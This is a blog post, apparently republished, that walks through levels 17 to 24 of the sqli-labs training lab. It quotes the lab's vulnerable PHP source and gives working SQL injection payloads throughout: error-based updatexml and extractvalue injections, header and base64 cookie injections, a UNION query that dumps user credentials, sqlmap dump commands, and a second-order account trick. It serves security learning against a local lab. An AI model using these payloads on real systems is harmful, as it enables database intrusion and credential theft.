专栏首页HACKWAYSqlilabs通关笔记(四)

Sqlilabs通关笔记(四)

第十七关 基于POST错误的更新

注入点判断

  1. 在passwd直接加反斜杠有报错

uname=admin&passwd=admin&submit=Submit

  1. 可以在passwd参数上尝试报错注入
  2. 界面输入框好像是更新密码的窗口,猜测是对用户输入的密码没有进行检测过滤

源码分析

<?php//including the Mysql connect parameters.include("../sql-connections/sql-connect.php");error_reporting(0);
function check_input($value)	{	if(!empty($value))		{		// truncation (see comments)截断15位		$value = substr($value,0,15);		}
		// Stripslashes if magic quotes enabled 如果打开了魔法开关,会自动转义		if (get_magic_quotes_gpc())			{                // 将反斜杠去掉			$value = stripslashes($value);			}
		// Quote if not a number		if (!ctype_digit($value))			{                // 自动转义			$value = "'" . mysql_real_escape_string($value) . "'";			}			else		{		$value = intval($value);		}	return $value;	}
  1. 查看源码可知有个过滤函数check_input,其过滤步骤是
    • substr($value,0,15) 截断到15位
    • 单引号、双引号、反斜杠、null自动用反斜杠转义
    • stripslashes()去掉多余的反斜杠
  2. 源码看passwd并没有使用过滤函数过滤,因而可以进行变量可控

_POST['passwd'];

  1. 是通过update进行一个拼接,且会打印错误信息

UPDATE users SET password = 'passwd' where username='row1';

  1. 报错注入无疑了,直接上payload

uname=admin&passwd=' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#&submit=Submit

uname=admin&passwd=' and extractvalue(null,concat(0x7e,database(),0x7e))#&submit=Submit

SQLMAP注入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-17/" --data "uname=admin&passwd=woshiadmin&submit=Submit" -p passwd --dbms mysql --threads 10 --method POST --flush-session --fresh-queries --level 1 --risk 1 --technique E --dbs

  • --data:指定请求信息
  • -p:指定参数
  • --dbms:指定后端数据库
  • --threads:指定并发线程数
  • --method:指定请求方式
  • --flush-session:清除session
  • --fresh-queries:发起新的请求
  • --level 1:尝试POST和GET注入
  • --risk 1:仅测试常见用例
  • --technique E:仅测试报错注入方式

第十八关 基于POST错误的Uagent字段数据头注入

注入点判断

  1. 页面显示yourip应该是请求头的参数参入
  2. 同时post传入并未有该参数
  3. 用admin登录成功后发现有User-agents显示
  1. 无法使用hackbar插件提交了,需要用到burpsuit进行抓包提交
  2. 抓包如下
  1. 在user-agent头上加单引号报错,确定user-agent注入了
  1. 通过单引号闭合进行payload构造

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and '1' = '1

  1. 直接构造报错注入的payload

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0)' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第十九关 基于POST错误的Referer字段数据头注入

1.同理,本关的注入点在Referer参数,payload一样只是参数位置不同

第二十关 基于POST错误的Cookie-Uagent字段数据头注入

1.同理,本关的注入点在cookie参数,payload一样只是参数位置不同

Cookie: uname=admin' and (updatexml(1,concat(0x7e,user(),0x7e),1)) and '1' = '1

第二十一关 基于base64编码单引号的Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是编码方式不同

uname=YWRtaW4nIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgJzEnID0gJzE%3d

第二十二关 基于base64编码加密的双引号Cookie注入

1.同理,本关的注入点在cookie参数,和上一关payload一样只是双引号闭合方式

uname=YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdXNlcigpLDB4N2UpLDEpKSBhbmQgIjEiID0gIjE%3d

SQLMAP注入

  1. 可以直接使用-r进行对抓取的数据包进行检测在user-agent这个需要检测的参数上加上*号

sqlmap -r "2.txt" -D security -T users --columns --dump --batch --technique E --batch --level 3 --threads 10

  1. 也可以直接通过user-agent注入,时间可能稍长一些

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-18/" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0' and '1'='1" --level 3 --threads 10 --dbms mysql --fresh-queries --flush-session -D security -T users --columns --dump --batch --technique E

  • --level

level: 设置检测的方方面面和测试用例 - 默认是1,会尝试POST和GET - 2:Cookie也会加入检测 - 3:User-Agent和Referer也会检测, 更大的值会增加用例量

  • --user-agent

指定User-Agent

  • --data

指定请求的内容

  • --dbms

指定后端数据库,给定后端数据库的类型可以减少减少无关的测试用例.

  • --fresh-queries

fresh-queries会忽略之前的查询结果,进行重新请求操作

  • --flush-session

flush-session会清空当前URL相关的session

第二十三关 基于GET错误的过滤注释

注入点判断

  1. 老办法单引号反斜杠试了下确实报错
  2. 但注释过不了怀疑注释有过滤
  3. 查看源代码,发现将#和--替换成空了
$reg = "/#/";$reg1 = "/--/";$replace = "";$id = preg_replace($reg, $replace, $id);$id = preg_replace($reg1, $replace, $id);$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
  1. 直接上payload

http://127.0.0.1/sqlilabs2/Less-23/?id=-1' union select 1,(select group_concat(username,password ) from users),3 and '1' = '1

第二十四关 POST二次排序注入-存储型注入

注入点判断

  1. 感觉界面大变样
  1. 登录进去又是改密码,猜测又是update语句
  1. 修改密码加反斜杠重新登录未见报错,查看源代码一探究竟
    • 有新用户注册文件 New_user.php
    • 修改密码文件 pass_change.php
    • 登录文件 login.php
    • 都使用了mysql_real_escape_string函数对注册的参数进行过滤
    • 但在修改密码文件中却是直接调用username参数
    • 猜测可以之间注册一个admin'#用户进而修改admin的密码,代码如下
if (isset($_POST['submit'])){			# Validating the user input........	$username= $_SESSION["username"];	$curr_pass= mysql_real_escape_string($_POST['current_password']);	$pass= mysql_real_escape_string($_POST['password']);	$re_pass= mysql_real_escape_string($_POST['re_password']);		if($pass==$re_pass)	{			$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";		$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');		$row = mysql_affected_rows();		echo '<font size="3" color="#FFFF00">';		echo '<center>';		if($row==1)		{			echo "Password successfully updated";			}		else		{			header('Location: failed.php');			//echo 'You tried to be smart, Try harder!!!! :( ';		}	}	else	{		echo '<font size="5" color="#FFFF00"><center>';		echo "Make sure New Password and Retype Password fields have same value";		header('refresh:2, url=index.php');	}}

因为没有报错注入的条件,时间盲注有点漫长可以尝试脚本注册然后再注入,确实有点麻烦

但本题目的是:对于存储型的注入,可以先将导致SQL注入的字符预先存到数据库中,当再次调用到这个恶意构造的字符时就可以触发注入

本文分享自微信公众号 - HACKWAY(gh_7a5a315cde00),作者:HACKWAY

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-29

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 网络安全实验室平台(脚本关)

    看到了一个好玩的平台————网络安全实验室,看起来对新手还是有帮助的,如果你有编程基础也可以看看脚本关哦!

    轩辕小子
  • wpscan扫描工具

    WPScan是一个扫描WordPress漏洞的黑盒子扫描器,可以扫描出wordpress的版本,主题,插件,后台用户以及爆破后台用户密码等,Kali Linux...

    轩辕小子
  • DC-8靶机渗透实战

    这次的靶机渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标。靶机下载地址[1],需要更详细的资料可以参考文章1[2]、文章2[3]、文章3...

    轩辕小子
  • impdp的TABLE_EXISTS_ACTION参数选项

    impdp有一个参数选项TABLE_EXISTS_ACTION,help=y的解释为:

    bisal
  • ionic2-Alert弹出框 原

    (adsbygoogle = window.adsbygoogle || []).push({});

    tianyawhl
  • 网易云音乐评论爬取。

    最后一页为10079,减500页应该是9579,然后你会发现9575页和9579页的数据是一模一样的。

    挖数
  • 四天搞懂生成对抗网络(四)——CycleGAN的绝妙设计:双向循环生成的结构

    在“风格迁移四部曲系列”的《风格迁移的“精神始祖”Conditional GAN》文章中,已经跟大伙一起在MNIST手写数据集上手撸了CGAN,让GAN学会了“...

    用户1386409
  • 向你请教下,前端开发的趋势怎么样啊?

    我知道,这是因为我没什么耐心,态度不好。在我的印像中,互联网好,前端就好。你学的好,属于你的前端趋势就好。

    web前端教室
  • nyoj-括号匹配问题

    括号配对问题 时间限制:3000 ms  |  内存限制:65535 KB 难度:3 描述现在,有一行括号序列,请你检查这行括号是否配对。 输入第一行输入一个数...

    Gxjun
  • bs4+mechanize模拟登陆

    py3study

扫码关注云+社区

领取腾讯云代金券

,,